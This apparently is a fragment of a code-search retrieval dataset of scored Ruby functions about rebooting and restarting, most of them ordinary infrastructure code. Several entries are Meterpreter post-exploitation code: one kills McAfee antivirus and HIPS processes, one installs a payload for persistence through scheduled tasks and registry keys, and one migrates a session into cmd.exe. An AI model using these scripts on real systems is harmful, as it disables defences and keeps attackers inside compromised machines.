'patching_as_code_pre_reboot']).any?\n\n if res['tag'].include?('patching_as_code_pre_patching')\n pre_patch_resources << res\n elsif res['tag'].include?('patching_as_code_post_patching')\n post_patch_resources << res\n elsif res['tag'].include?('patching_as_code_pre_reboot')\n pre_reboot_resources << res\n end\n end\n ## pre-patch resources should gain Reboot[Patching as Code - Pending OS reboot] for require\n pre_patch_resources.each do |res|\n catalog.resource(res.to_s)['require'] = Array(catalog.resource(res.to_s)['require']) << 'Reboot[Patching as Code - Pending OS reboot]'\n end\n ## post-patch resources should lose existing before dependencies\n post_patch_resources.each do |res|\n catalog.resource(res.to_s)['before'] = []\n end\n ## pre-reboot resources should lose existing dependencies\n pre_reboot_resources.each do |res|\n catalog.resource(res.to_s)['require'] = []\n catalog.resource(res.to_s)['before'] = []\n end\n\n catalog.add_resource(Puppet::Type.type('reboot').new(\n title: 'Patching as Code - Pending OS reboot',\n apply: 'immediately',\n schedule: parameter(:patch_window).value,\n before: 'Anchor[patching_as_code::start]',\n require: pre_reboot_resources,\n ))\n\n catalog.add_resource(Puppet::Type.type('notify').new(\n title: 'Patching as Code - Performing Pending OS reboot before patching...',\n schedule: parameter(:patch_window).value,\n notify: 'Reboot[Patching as Code - Pending OS reboot]',\n before: 'Anchor[patching_as_code::start]',\n require: pre_reboot_resources,\n ))\n end", "title": "" }, { "docid": "c165cb728ea0b351a51cafccb0873ca9", "score": "0.609122", "text": "def create\n ::Velum::Salt.call(\n action: \"cmd.run\",\n targets: \"admin\",\n arg: \"systemctl reboot\"\n )\n\n render json: { status: Minion.statuses[:rebooting] }\n end", "title": "" }, { "docid": "9c596d5fb0abc27cc451c28f58c8eb32", "score": "0.60719985", "text": "def reboot(opts = {})\n data, _status_code, _headers = reboot_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "64f893c90056d14e2cb0690ed7fea857", "score": "0.606255", "text": "def restart(pid=nil)\n `cp #{APP_ROOT}/services/drb.log #{APP_ROOT}/services/drb.bak`\n `cp #{APP_ROOT}/services/dico.log #{APP_ROOT}/services/dico.bak`\n if !pid.nil?\n pid.each {|x| `kill -1 #{x}`}\n sleep(1)\n end\n `cd #{APP_ROOT};#{WHICH_RAKE} #{RAKE_FILE}[#{SHARD_ID},#{MAX_SHARD}] >#{APP_ROOT}/services/drb.log 2>&1 &`\n puts \"## Restarted\"\nend", "title": "" }, { "docid": "61a42b2ed9154edc7393e48c94b3df03", "score": "0.6062409", "text": "def restart_command(cmd); end", "title": "" }, { "docid": "349c0ac3090375402d9ffddf64894786", "score": "0.6058308", "text": "def on_restart(&block); end", "title": "" }, { "docid": "08935f5c2754cb6f8718885db39c1eec", "score": "0.6055451", "text": "def raw_reset\n raw_reboot_guest(:force => true)\n end", "title": "" }, { "docid": "08935f5c2754cb6f8718885db39c1eec", "score": "0.6055451", "text": "def raw_reset\n raw_reboot_guest(:force => true)\n end", "title": "" }, { "docid": "5d6b16eca2c229881236cd3579e44f93", "score": "0.6054184", "text": "def boot\n runcmd 'boot'\n end", "title": "" }, { "docid": "9b06445e64cb5ea2a0fb861be6003422", "score": "0.6045512", "text": "def soft_reboot(server)\n @logger.info(\"Soft rebooting server `#{server.id}'...\")\n @openstack.with_openstack { server.reboot }\n @openstack.wait_resource(server, :active, :state)\n end", "title": "" }, { "docid": "515a511bc082b2f2b9829d5ae5936cb1", "score": "0.60282546", "text": "def reboot\n requires :id\n begin\n response = service.post_reboot_vapp(id)\n rescue Fog::VcloudDirector::Compute::BadRequest => ex\n Fog::Logger.debug(ex.message)\n return false\n end\n service.process_task(response.body)\n end", "title": "" }, { "docid": "af4245202c5ee11ccc68804e072fedf8", "score": "0.59855473", "text": "def restart_linux_service(service)\n message = \"Information:\\tRestarting Service \"+service\n command = \"service #{service} restart\"\n output = execute_command(message,command)\n return output\nend", "title": "" }, { "docid": "fd8774879f080800f68c642f41ae6178", "score": "0.5958289", "text": "def restart_soon\n @restart = true\n @shutdown = true\n end", "title": "" }, { "docid": "13406c79c9aa400236f5b4ec2eea4f82", "score": "0.59291583", "text": "def restart()\n shutdown()\n start()\n end", "title": "" }, { "docid": "3c65bacf1d359408246c8d0506471fe2", "score": "0.59110606", "text": "def shutdown\n runcmd 'shutdown'\n end", "title": "" }, { "docid": "b43c6c1d038ebdc649582340e0cf304e", "score": "0.5904307", "text": "def run_postinstall\n Net::SSH::Simple.sync do\n log.info \"Running post-install script\"\n data = vm_ip(IMAGE_NAME)\n ssh data[:address], \"sudo env postinstall.sh\",\n { port: data[:port], user: SSH_USER, password: SSH_PASSWORD }\n end\n end", "title": "" }, { "docid": "802203c423bf79614d4ba4633234718f", "score": "0.58937925", "text": "def cmd_reboot(*args)\n force = 0\n\n if args.length == 1 and args[0].strip == \"-h\"\n print(\n \"Usage: reboot [options]\\n\\n\" +\n \"Reboot the remote machine.\\n\" +\n @@reboot_opts.usage)\n return true\n end\n\n @@reboot_opts.parse(args) { |opt, idx, val|\n case opt\n when \"-f\"\n force = val.to_i\n end\n }\n print_line(\"Rebooting...\")\n\n client.sys.power.reboot(force, SHTDN_REASON_DEFAULT)\n end", "title": "" }, { "docid": "d8caa44f8c809d7aae018548a1e057bb", "score": "0.58832496", "text": "def reboot(type=\"SOFT\")\n data = JSON.generate(:reboot => {:type => type})\n response = @compute.connection.csreq(\"POST\",@svrmgmthost,\"#{@svrmgmtpath}/servers/#{URI.encode(self.id.to_s)}/action\",@svrmgmtport,@svrmgmtscheme,{'content-type' => 'application/json'},data)\n OpenStack::Exception.raise_exception(response) unless response.code.match(/^20.$/)\n true\n end", "title": "" }, { "docid": "4c78f278ad06b8961ebaf98f4cd72bbc", "score": "0.58789927", "text": "def reload_systemd()\n bash 'reload systemd daemon' do\n user 'root'\n code 'systemctl daemon-reload'\n end\nend", "title": "" }, { "docid": "20c8ba8d9d2e227b58d60957fb79ac9f", "score": "0.58748347", "text": "def reboot!\n reboot_instance(_id) && reload!\n end", "title": "" }, { "docid": "31ce0dbe89447e6c55ebaebb0869de67", "score": "0.5868673", "text": "def send_reboot_request(extractor_id)\n send_ers_request(:reboot, extractor_id)\n end", "title": "" }, { "docid": "c54e4536036c3abbfd48413ffc79c25e", "score": "0.5841802", "text": "def restart_atd(vp)\n system \"ssh uw_revtr2@#{vp} 'sudo /etc/init.d/atd restart > /dev/null 2>&1'\"\n end", "title": "" }, { "docid": "f76f58defd8f18ab626a3459de4d7223", "score": "0.5800611", "text": "def run\n\t\t\tprint_status(\"Running module against #{sysinfo['Computer']}\")\n\t\t\tmcafee_processes = %W{\n\t\t\t\t\t\t\n\t\t\t\t\t\tscan32.exe\n\t\t\t\t\t\tshstat.exe\n\t\t\t\t\t\ttbmon.exe\n\t\t\t\t\t\tvstskmgr.exe\n\t\t\t\t\t\tengineserver.exe\n\t\t\t\t\t\tmfevtps.exe\n\t\t\t\t\t\tmfeann.exe\n\t\t\t\t\t\tmcscript.exe\n\t\t\t\t\t\tupdaterui.exe\n\t\t\t\t\t\tudaterui.exe\n\t\t\t\t\t\tnaprdmgr.exe\n\t\t\t\t\t\tframeworkservice.exe\n\t\t\t\t\t\tcleanup.exe\n\t\t\t\t\t\tcmdagent.exe\n\t\t\t\t\t\tfrminst.exe\n\t\t\t\t\t\tmcscript_inuse.exe\n\t\t\t\t\t\tmctray.exe\n\t\t\t\t\t\t#mcshield.exe\n\t}\n\n\t\t\t\n\t\t\thips_processes = %W{\n\t\t\t\t\t\t#firesvc.exe\n\t\t\t\t\t\tfiretray.exe\n\t\t\t\t\t\t#hipsvc.exe\n\t\t\t\t\t\tmfevtps.exe\n\t\t\t\t\t\tmcafeefire.exe\n\t}\n\n\t\t\tprint_status(\"Searching for Mcshield.exe...\")\n\t\t\tclient.sys.process.get_processes().each do |x|\n\t\t\t\tif (x['name'].downcase == \"mcshield.exe\")\n\t\t\t\t\tprint_status(\"Found Mcsheild process #{x['pid']}...Migrating into it\")\n\t\t\t\t\tclient.core.migrate(x['pid'])\n\t\t\t\t\tprint_status(\"Migrated into #{x['name']} - #{x['pid']}\")\n\t\t\t\t\tclient.sys.process.get_processes().each do |y|\n\t\t\t\t\t\tif (mcafee_processes.index(y['name'].downcase))\n\t\t\t\t\t\t\tprint_status(\"Killing off #{y['name']}...\")\n\t\t\t\t\t\t\tclient.sys.process.kill(y['pid'])\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tprint_status(\"Searching for hipsvc.exe...\")\n\t\t\tclient.sys.process.get_processes().each do |a|\n\t\t\t\tif (a['name'].downcase == \"hipsvc.exe\")\n\t\t\t\t\tprint_status(\"Found hipsvc process #{a['pid']}...Migrating into it\")\n\t\t\t\t\tclient.core.migrate(a['pid'])\n\t\t\t\t\tprint_status(\"Migrated into #{a['name']} - #{a['pid']}\")\n\t\t\t\t\tclient.sys.process.get_processes().each do |z|\n\t\t\t\t\t\tif (hips_processes.index(z['name'].downcase))\n\t\t\t\t\t\t\tprint_status(\"Killing off #{z['name']}...\")\n\t\t\t\t\t\t\tclient.sys.process.kill(z['pid'])\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\n#####Migrating into explorer.exe to save current session\n\n\t\t\tclient.sys.process.get_processes().each do |e|\n\t\t\t\tif (e['name'].downcase==\"explorer.exe\")\n\t\t\t\t\tprint_status(\"Found explorer.exe #{e['pid']}...Migrating into it\")\t\n\t\t\t\t\tclient.core.migrate(e['pid'])\t\n\t\t\t\tend\n\t\t\tend\n#####Duplicating session\n\n\t\t\tprint_status(\"Duplicating Session\")\n\t\t\tduplicate_session\n\t\t\tselect(nil, nil, nil, 5)\n\t\t\tprint_status(\"Current process is #{client.sys.process.open.pid}\")\n\t\t\tprint_status(\"Current sessions are #{framework.sessions.keys}\")\n\n####Using the duplicated session\n\t\t\tsession_active=framework.sessions.keys[1]\n\t\t\tclient_one=framework.sessions.get(session_active)\n\t\t\tselect(nil, nil, nil, 2)\n\t\t\tprint_status(\"Acive Session is #{session_active}\")\n\t\t\tclient_one.sys.process.get_processes().each do |b|\n\t\t\t\tif (b['name'].downcase == \"mcshield.exe\")\n\t\t\t\t\tprint_status(\"Found Mcshield process #{b['pid']}...Migrating into it\")\n\t\t\t\t\tclient_one.core.migrate(b['pid'])\n\t\t\t\t\tprint_status(\"Migrated into #{b['name']} - #{b['pid']}\")\n\t\t\t\t\tprint_status(\"Killing McShield.exe\")\n\t\t\t\t\tclient_one.sys.process.kill(b['pid'])\n\t\t\t\tend\n\t\t\tend\n\n\n\t\t\trescue ::Interrupt\n\t\t\traise $!\n\t\t\trescue ::Rex::Post::Meterpreter::RequestError => e\n\t\t\tprint_error(\"Meterpreter Exception: #{e.class} #{e}\")\n\t\t\tprint_error(\"This script requires the use of a SYSTEM user context\")\n\tend", "title": "" }, { "docid": "a033e9c67435c9c1f6fbadfdbce2479d", "score": "0.5799985", "text": "def restart\n # Permissions are handled by the script, use: :sudo => false\n run_script :stop, :sudo => false\n end", "title": "" }, { "docid": "37f75a11a5b6d21224843a7f6dd3fa1f", "score": "0.57875246", "text": "def reboot\n # There is no trackable status change for the instance being\n # rebooted, so it's up to CPI client to keep track of agent\n # being ready after reboot.\n # Due to this, we can't deregister the instance from any load\n # balancers it might be attached to, and reattach once the\n # reboot is complete, so we just have to let the load balancers\n # take the instance out of rotation, and put it back in once it\n # is back up again.\n @aws_instance.reboot\n end", "title": "" }, { "docid": "705d19cf0fe393150f549b9f938dfcef", "score": "0.5787275", "text": "def run(purpose: \"Chef run\", update_runlist: true, max_retries: 5, output: true, override_runlist: nil, reboot_first_fail: false, timeout: 1800)\n self.class.loadChefLib\n if update_runlist and !@config['run_list'].nil?\n knifeAddToRunList(multiple: @config['run_list'])\n end\n\n chef_node = ::Chef::Node.load(@server.mu_name)\n if !@config['application_attributes'].nil?\n MU.log \"Setting node:#{@server.mu_name} application_attributes\", MU::DEBUG, details: @config['application_attributes']\n chef_node.normal['application_attributes'] = @config['application_attributes']\n chef_node.save\n end\n if !@config['groomer_variables'].nil?\n chef_node.normal['mu'] = @config['groomer_variables']\n chef_node.save\n end\n if @server.deploy.original_config.has_key?('parameters')\n MU.log \"Setting node:#{@server.mu_name} parameters\", MU::DEBUG, details: @server.deploy.original_config['parameters']\n chef_node.normal['mu_parameters'] = @server.deploy.original_config['parameters']\n chef_node.save\n end\n saveDeployData\n\n retries = 0\n try_upgrade = false\n output_lines = []\n error_signal = \"CHEF EXITED BADLY: \"+(0...25).map { ('a'..'z').to_a[rand(26)] }.join\n runstart = nil\n cmd = nil\n ssh = nil\n winrm = nil\n windows_try_ssh = false\n begin\n runstart = Time.new\n if !@server.windows? or windows_try_ssh\n MU.log \"Invoking Chef over ssh on #{@server.mu_name}: #{purpose}\"\n ssh = @server.getSSHSession(@server.windows? ? 1 : max_retries)\n if @server.windows?\n cmd = \"chef-client.bat --color || echo #{error_signal}\"\n elsif !@config[\"ssh_user\"].nil? and !@config[\"ssh_user\"].empty? and @config[\"ssh_user\"] != \"root\"\n upgrade_cmd = try_upgrade ? \"sudo curl -L https://chef.io/chef/install.sh | sudo version=#{MU.chefVersion} sh &&\" : \"\"\n cmd = \"#{upgrade_cmd} sudo chef-client --color || echo #{error_signal}\"\n else\n upgrade_cmd = try_upgrade ? \"curl -L https://chef.io/chef/install.sh | version=#{MU.chefVersion} sh &&\" : \"\"\n cmd = \"#{upgrade_cmd} chef-client --color || echo #{error_signal}\"\n end\n Timeout::timeout(timeout) {\n ssh.exec!(cmd) { |_ch, _stream, data|\n extra_logfile = if Dir.exist?(@server.deploy.deploy_dir)\n File.open(@server.deploy.deploy_dir+\"/log\", \"a\")\n end\n puts data\n output_lines << data\n extra_logfile.puts data.chomp if extra_logfile\n raise MU::Cloud::BootstrapTempFail if data.match(/REBOOT_SCHEDULED| WARN: Reboot requested:|Rebooting server at a recipe's request|Chef::Exceptions::Reboot/)\n if data.match(/#{error_signal}/)\n error_msg = \"\"\n clip = false\n output_lines.each { |chunk|\n chunk.split(/\\n/).each { |line|\n if !clip and line.match(/^========+/)\n clip = true\n elsif clip and line.match(/^Running handlers:/)\n break\n end\n\n if clip and line.match(/[a-z0-9]/)\n error_msg += line.gsub(/\\e\\[(\\d+)m/, '')+\"\\n\"\n end\n }\n }\n raise MU::Groomer::RunError, error_msg\n end\n }\n }\n else\n MU.log \"Invoking Chef over WinRM on #{@server.mu_name}: #{purpose}\"\n winrm = @server.getWinRMSession(haveBootstrapped? ? 2 : max_retries)\n if @server.windows? and @server.windowsRebootPending?(winrm)\n # Windows frequently gets stuck here\n if retries > 5\n @server.reboot(true)\n elsif retries > 3 \n @server.reboot\n end\n raise MU::Groomer::RunError, \"#{@server.mu_name} has a pending reboot\"\n end\n if try_upgrade\n pp winrm.run(\"Invoke-WebRequest -useb https://omnitruck.chef.io/install.ps1 | Invoke-Expression; Install-Project -version:#{MU.chefVersion} -download_directory:$HOME\")\n end\n output_lines = []\n cmd = \"c:/opscode/chef/bin/chef-client.bat --color\"\n if override_runlist\n cmd = cmd + \" -o '#{override_runlist}'\"\n end\n resp = nil\n Timeout::timeout(timeout) {\n resp = winrm.run(cmd) do |stdout, stderr|\n if stdout\n print stdout if output\n output_lines << stdout\n end\n if stderr\n MU.log stderr, MU::ERR\n output_lines << stderr\n end\n end\n }\n\n if resp.exitcode == 1 and output_lines.join(\"\\n\").match(/Chef Client finished/)\n MU.log output_lines.last\n elsif resp.exitcode != 0\n raise MU::Cloud::BootstrapTempFail if resp.exitcode == 35 or output_lines.join(\"\\n\").match(/REBOOT_SCHEDULED| WARN: Reboot requested:|Rebooting server at a recipe's request|Chef::Exceptions::Reboot/)\n raise MU::Groomer::RunError, output_lines.slice(output_lines.length-50, output_lines.length).join(\"\")\n end\n end\n rescue MU::Cloud::BootstrapTempFail\n MU.log \"#{@server.mu_name} rebooting from Chef, waiting then resuming\", MU::NOTICE\n\n sleep 30\n\n # weird failures seem common in govcloud\n if MU::Cloud::AWS.isGovCloud?(@config['region'])\n @server.reboot(true)\n sleep 30\n end\n retry\n rescue SystemExit, Timeout::Error, MU::Cloud::BootstrapTempFail, Net::HTTPServerException, HTTPClient::ConnectTimeoutError, WinRM::WinRMError, Net::SSH::AuthenticationFailed, Net::SSH::Disconnect, Net::SSH::ConnectionTimeout, Net::SSH::Proxy::ConnectError, Net::SSH::Exception, Errno::ECONNRESET, Errno::EHOSTUNREACH, Errno::ECONNREFUSED, Errno::EPIPE, SocketError, IOError => e\n begin\n ssh.close if !ssh.nil?\n rescue Net::SSH::Exception, IOError => e\n if @server.windows?\n MU.log \"Windows has probably closed the ssh session before we could. Waiting before trying again\", MU::DEBUG\n else\n MU.log \"ssh session to #{@server.mu_name} was closed unexpectedly, waiting before trying again\", MU::NOTICE\n end\n sleep 10\n rescue StandardError => e\n MU.log \"Error I don't recognize closing ssh tunnel\", MU::WARN, details: e.inspect\n end\n if e.instance_of?(MU::Groomer::RunError) and retries == 0 and max_retries > 1 and purpose != \"Base Windows configuration\"\n MU.log \"Got a run error, will attempt to install/update Chef Client on next attempt\", MU::NOTICE\n try_upgrade = true\n else\n try_upgrade = false\n end\n\n if e.is_a?(MU::Groomer::RunError)\n if reboot_first_fail\n try_upgrade = true\n begin\n preClean(true) # drop any Chef install that's not ours\n @server.reboot # try gently rebooting the thing\n rescue StandardError => e # it's ok to fail here (and to ignore failure)\n MU.log \"preclean err #{e.inspect}\", MU::ERR\n end\n reboot_first_fail = false\n end\n end\n\n if retries < max_retries\n retries += 1\n MU.log \"#{@server.mu_name}: Chef run '#{purpose}' failed after #{Time.new - runstart} seconds, retrying (#{retries}/#{max_retries})\", MU::WARN, details: e.message.dup\n# if purpose != \"Base Windows configuration\"\n# windows_try_ssh = !windows_try_ssh\n# end\n if e.is_a?(WinRM::WinRMError)\n if @server.windows? and retries >= 3 and retries % 3 == 0\n # Mix in a hard reboot if WinRM isn't answering\n @server.reboot(true)\n end\n end\n sleep 30\n retry\n else\n @server.deploy.sendAdminSlack(\"Chef run '#{purpose}' failed on `#{@server.mu_name}` :crying_cat_face:\", msg: e.message)\n raise MU::Groomer::RunError, \"#{@server.mu_name}: Chef run '#{purpose}' failed #{max_retries} times, last error was: #{e.message}\"\n end\n rescue StandardError => e\n @server.deploy.sendAdminSlack(\"Chef run '#{purpose}' failed on `#{@server.mu_name}` :crying_cat_face:\", msg: e.inspect)\n raise MU::Groomer::RunError, \"Caught unexpected #{e.inspect} on #{@server.mu_name} in @groomer.run at #{e.backtrace[0]}\"\n\n end\n\n saveDeployData\n end", "title": "" }, { "docid": "c291482c0e087485b096bb7856837b61", "score": "0.5774048", "text": "def hard_reboot_pvm_instance(instance_id)\n post(\n \"cloud-instances/#{guid}/pvm-instances/#{instance_id}/action\",\n {\"action\" => \"hard-reboot\"}.to_json\n )\n end", "title": "" }, { "docid": "50c25fefccaefd049871254dfb704842", "score": "0.575765", "text": "def reboot(vid)\n perform_request(action: 'vserver-reboot', vserverid: vid)\n end", "title": "" }, { "docid": "f87e8635086ddcdcd75409342259603b", "score": "0.5757461", "text": "def execute!\n @process_runner.execute!(\"cd #{@environments_directory} && docker-compose -f drupal-production/docker-compose.yml run --rm --entrypoint 'ruby /home/jenkins_developer/developer.redhat.com/_docker/lib/backup/reset/backup_reset.rb' backup\")\n end", "title": "" }, { "docid": "e0b729e825ec57603d12deb02e4047d7", "score": "0.57533586", "text": "def restart!\n # Permissions are handled by the script, use: :sudo => false\n run_script! :restart, :sudo => false\n end", "title": "" }, { "docid": "4e9c31bb59dbb9c0a3d37f92b7ef16d0", "score": "0.5752448", "text": "def reboot(port_index)\n set_state(:reboot, port_index)\n end", "title": "" }, { "docid": "8b27d00a5a6cd600b4c128d2ce4e6653", "score": "0.574117", "text": "def reboot_vm(vm_id)\n with_thread_name(\"reboot_vm(#{vm_id})\") do\n begin\n vm = @vm_manager.get_virtual_machine(vm_id)\n if vm['power_state'] == 'off'\n @logger.info(\"Powering on VM #{vm_id}...\")\n @vm_manager.set_power_state(vm_id, 'on')\n else\n @logger.info(\"Rebooting VM #{vm_id}...\")\n @vm_manager.set_power_state(vm_id, 'acpi_reboot')\n end\n rescue => e\n @logger.error(e)\n cloud_error(e.message)\n end\n end\n end", "title": "" }, { "docid": "1d9af6df227c6cc1d7211941a3dfcc29", "score": "0.5704461", "text": "def shutdown\n # Shutdown depends on wlan being up\n wlan\n\n if LAN_HOSTS.any? { |h| host_up(h) } then\n # See if there is any shutdown attempt and whether we need to kill it\n perform \"ps -Al | grep shutdown\"\n if $?.exitstatus == 0 then\n # There is a shutdown process running, so kill it\n perform \"/sbin/shutdown -c\"\n end\n else\n # Everyone is shut down, so we may as well do so too.\n # We give a 10 minute grace \n perform \"/sbin/shutdown -h +10\"\n end\nend", "title": "" }, { "docid": "e3cbb0a14e446efdd8664d9e706bd611", "score": "0.56866705", "text": "def execute\n \n if run?\n Rudy::Routines::Handlers::Depends.execute_all @before, @argv\n \n li \" Executing routine: #{@name} \".att(:reverse), \"\"\n ld \"[this is a generic routine]\" if @routine.empty?\n \n # Re-retreive the machine set to reflect dependency changes\n Rudy::Routines.rescue {\n @machines = Rudy::Machines.list || []\n @@rset = Rudy::Routines::Handlers::RyeTools.create_set @machines\n }\n \n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Group.authorize rescue nil\n }\n \n if @routine.has_key? :before_local\n handler = Rudy::Routines.get_handler :local\n Rudy::Routines.rescue {\n handler.execute(:local, @routine.delete(:before_local), nil, @@lbox, @argv)\n }\n end\n \n if @routine.has_key? :before_remote\n handler = Rudy::Routines.get_handler :remote\n Rudy::Routines.rescue {\n handler.execute(:remote, @routine.delete(:before_remote), @@rset, @@lbox, @argv)\n }\n end\n end\n \n Rudy::Routines.rescue {\n if Rudy::Routines::Handlers::Disks.mount? @routine\n fake = Hash[:umount => @routine.disks[:mount]]\n Rudy::Routines::Handlers::Disks.execute :umount, fake, @@rset, @@lbox, @argv\n end\n }\n \n li \"Rebooting #{current_group_name}...\"\n @machines.each { |m| m.restart } if run?\n \n 15.times { print '.'; Kernel.sleep 2 }; li $/ # Wait for 30 seconds\n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_running? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_running? }\n raise GroupNotRunning, a\n end\n }\n \n # This is important b/c the machines will not \n # have DNS info until after they are running. \n Rudy::Routines.rescue { Rudy::Routines::Handlers::Host.update_dns @@rset }\n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_available? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_available? }\n raise GroupNotAvailable, a\n end\n }\n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Host.set_hostname @@rset \n }\n \n if run?\n # This is the meat of the sandwich\n Rudy::Routines.runner @routine, @@rset, @@lbox, @argv\n \n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Depends.execute_all @after, @argv\n }\n end\n \n @machines\n end", "title": "" }, { "docid": "62d5e056e5354d4b8bcc9448fd39ac83", "score": "0.56859976", "text": "def reboot_fusion_vm(options)\n reset_fusion_vm(options)\nend", "title": "" }, { "docid": "93218bdf6892c0932e26c617cfefec57", "score": "0.56826717", "text": "def exploit\n print_status(\"Running module against #{sysinfo['Computer']}\")\n delay = datastore['DELAY']\n name = datastore['NAME']\n unin = datastore['UNINSTALL']\n cusext = ::File.extname(datastore['EXE::Custom'])\n execus = datastore['EXE::Custom'].to_s\n host,port = session.session_host, session.session_port\n\n # If the uninstall flag is set, remove the persistence\n if unin == true\n print_status(\"Removing scheduled task from #{sysinfo['Computer']}\")\n run_cmd(\"schtasks /delete /f /tn #{name}\")\n delete_reg(\"HKCU\", name)\n delete_reg(\"HKLM\", name)\n\n else\n print_status(\"To remove persistence set UNINSTALL => true\")\n unless execus.empty?\n exe = get_custom_exe\n else\n exe = generate_payload_exe\n end\n\n # uploads the payload to the host\n script_on_target = write_script_to_target(exe, cusext)\n\n # exit the module because we failed to write the file on the target host.\n return unless script_on_target\n\n # install new scheduled tasks (removes any previously installed tasks first) \n print_status(\"Running module against #{sysinfo['Computer']}\")\n run_cmd(\"schtasks /delete /f /tn #{name}\")\n run_cmd(\"schtasks /create /sc minute /mo #{delay} /tn #{name} /tr #{script_on_target}\")\n\n # attempts to write the registry values to the system\n write_to_reg(\"HKCU\", script_on_target, name)\n write_to_reg(\"HKLM\", script_on_target, name)\n end\n end", "title": "" }, { "docid": "3884f11b3fa67058dad7365818dc6f62", "score": "0.5639198", "text": "def graceful_shutdown; end", "title": "" }, { "docid": "2ad03ecf64acbc5bd3e08006027b74ec", "score": "0.56378084", "text": "def phased_restart; end", "title": "" }, { "docid": "1c8031e4f62b88ce25607ac5c8b38162", "score": "0.56316406", "text": "def restart(*services) = execute(services: services)", "title": "" }, { "docid": "74290c71ac05cf0cadd589c0156ffbf1", "score": "0.562812", "text": "def reboot_vm(server_id)\n with_thread_name(\"reboot_vm(#{server_id})\") do\n server = @openstack.with_openstack { @openstack.compute.servers.get(server_id) }\n cloud_error(\"Server `#{server_id}' not found\") unless server\n\n soft_reboot(server)\n end\n end", "title": "" }, { "docid": "3e35fb638f164f7f7ef01375ce92dbbd", "score": "0.56122607", "text": "def reboot?\n !!@reboot\n end", "title": "" }, { "docid": "9189647fa5f37f32afef82d8ef048ef3", "score": "0.5588992", "text": "def after_exec_command\n begin\n # bootstrap the server\n bootstrap\n rescue CloudExceptions::BootstrapError => e\n ui.fatal(e.message)\n cleanup_on_failure\n rescue Net::SSH::AuthenticationFailed => e\n ui.fatal(e.message)\n cleanup_on_failure\n end\n end", "title": "" }, { "docid": "88eb65c3819a866fa8a17a1fd075b121", "score": "0.55814165", "text": "def run_restart(options={}, &block)\n with_each_host { stop(options); start(options) }\n end", "title": "" }, { "docid": "e1187683030845f35cac1886649a535b", "score": "0.5573849", "text": "def apply_config!\n if self.connect then\n @ssh_connection.exec!(\"/usr/etc/rc.d/rc.softrestart\") or raise\n #@ssh_connection.exec!(\"ubntconf -c /tmp/system.cfg\") or raise\n #@ssh_connection.exec!(\"cfgmtd -p /etc/\") or raise\n #@ssh_connection.exec!(\"reboot\") or raise\n end\n end", "title": "" }, { "docid": "098e3c48cb4c4ee9c581ce632e383cc6", "score": "0.55728495", "text": "def init_command\n restart_winrm_service if config[:restart_winrm]\n end", "title": "" }, { "docid": "ca1abcdb6d2934c2fb4a6477f684f434", "score": "0.5572602", "text": "def shutdown_soon\n @restart = false\n @shutdown = true\n end", "title": "" }, { "docid": "5d5eaa3f97059ec57c6aaacf34e31211", "score": "0.5570424", "text": "def run(cmds_array)\n cmds_array.each do |cmd|\n puts \"Running '#{cmd}':\"\n\n # Run the command and save its exit status\n exit_status = system cmd\n\n # If the command failed, exit the whole program, unless the command is\n # `sudo port uninstall leaves' because that command should be ignored.\n if exit_status != true && cmd != $cleanup_commands[0]\n exit 1\n end\n end\nend", "title": "" }, { "docid": "0000e7c9a2b53eeae9c5e7d3c2d356cd", "score": "0.5568463", "text": "def reinstall\n try_winrm = false\n if !@server.windows?\n cmd = %Q{curl -LO https://omnitruck.chef.io/install.sh && sudo bash ./install.sh -v #{MU.chefVersion} && rm install.sh}\n else\n try_winrm = true\n cmd = %Q{Invoke-WebRequest -useb https://omnitruck.chef.io/install.ps1 | Invoke-Expression; Install-Project -version:#{MU.chefVersion} -download_directory:$HOME}\n end\n\n if try_winrm\n begin\n MU.log \"Attempting Chef upgrade via WinRM on #{@server.mu_name}\", MU::NOTICE, details: cmd\n winrm = @server.getWinRMSession(1, 30, winrm_retries: 2)\n pp winrm.run(cmd)\n return\n rescue SystemExit, Timeout::Error, MU::Cloud::BootstrapTempFail, MU::MuError, Net::HTTPServerException, HTTPClient::ConnectTimeoutError, WinRM::WinRMError, Net::SSH::AuthenticationFailed, Net::SSH::Disconnect, Net::SSH::ConnectionTimeout, Net::SSH::Proxy::ConnectError, Net::SSH::Exception, Errno::ECONNRESET, Errno::EHOSTUNREACH, Errno::ECONNREFUSED, Errno::EPIPE, SocketError, IOError\n MU.log \"WinRM failure attempting Chef upgrade on #{@server.mu_name}, will fall back to ssh\", MU::WARN\n cmd = %Q{powershell.exe -inputformat none -noprofile \"#{cmd}\"}\n end\n end\n\n MU.log \"Attempting Chef upgrade via ssh on #{@server.mu_name}\", MU::NOTICE, details: cmd\n ssh = @server.getSSHSession(1)\n ssh.exec!(cmd) { |_ch, _stream, data|\n puts data\n }\n end", "title": "" }, { "docid": "e82bbfca9b99c05fb917658762ed5467", "score": "0.5564793", "text": "def migrate(session)\n\ttarget = 'cmd.exe'\n\tnewProcPid = launchProc(session,target)\n\toldProc = migrateToProc(session,newProcPid)\n\t#killApp(oldProc)\n \t#Dangerous depending on the service exploited\nend", "title": "" }, { "docid": "612952af17c9c36cbc296cdef0675213", "score": "0.55635464", "text": "def halt\n execute(\"controlvm\", @uuid, \"poweroff\")\n end", "title": "" }, { "docid": "0a356bfc95a14786cce34782f2e9583f", "score": "0.5562831", "text": "def do_repair()\r\n puts \"++ Repairing (moving back-ups to original path)\"\r\n puts \"++ #{File.basename(BOMARCHIVE_PATH)}\"\r\n FileUtils.rm_f BOMARCHIVE_PATH\r\n FileUtils.cp File.join(\"/tmp\", File.basename(BOMARCHIVE_PATH)), BOMARCHIVE_PATH\r\n \r\n puts \"++ #{TARGET_BINARY}\"\r\n FileUtils.rm_f TARGET_BINARY\r\n FileUtils.cp TARGET_BACKUP_PATH, TARGET_BINARY\r\n \r\n puts \"++ Removing back-ups...\"\r\n FileUtils.rm_f TARGET_BACKUP_PATH\r\n FileUtils.rm_f File.join(\"/tmp\", File.basename(BOMARCHIVE_PATH))\r\n \r\n puts \"++ Done. Repairing disk 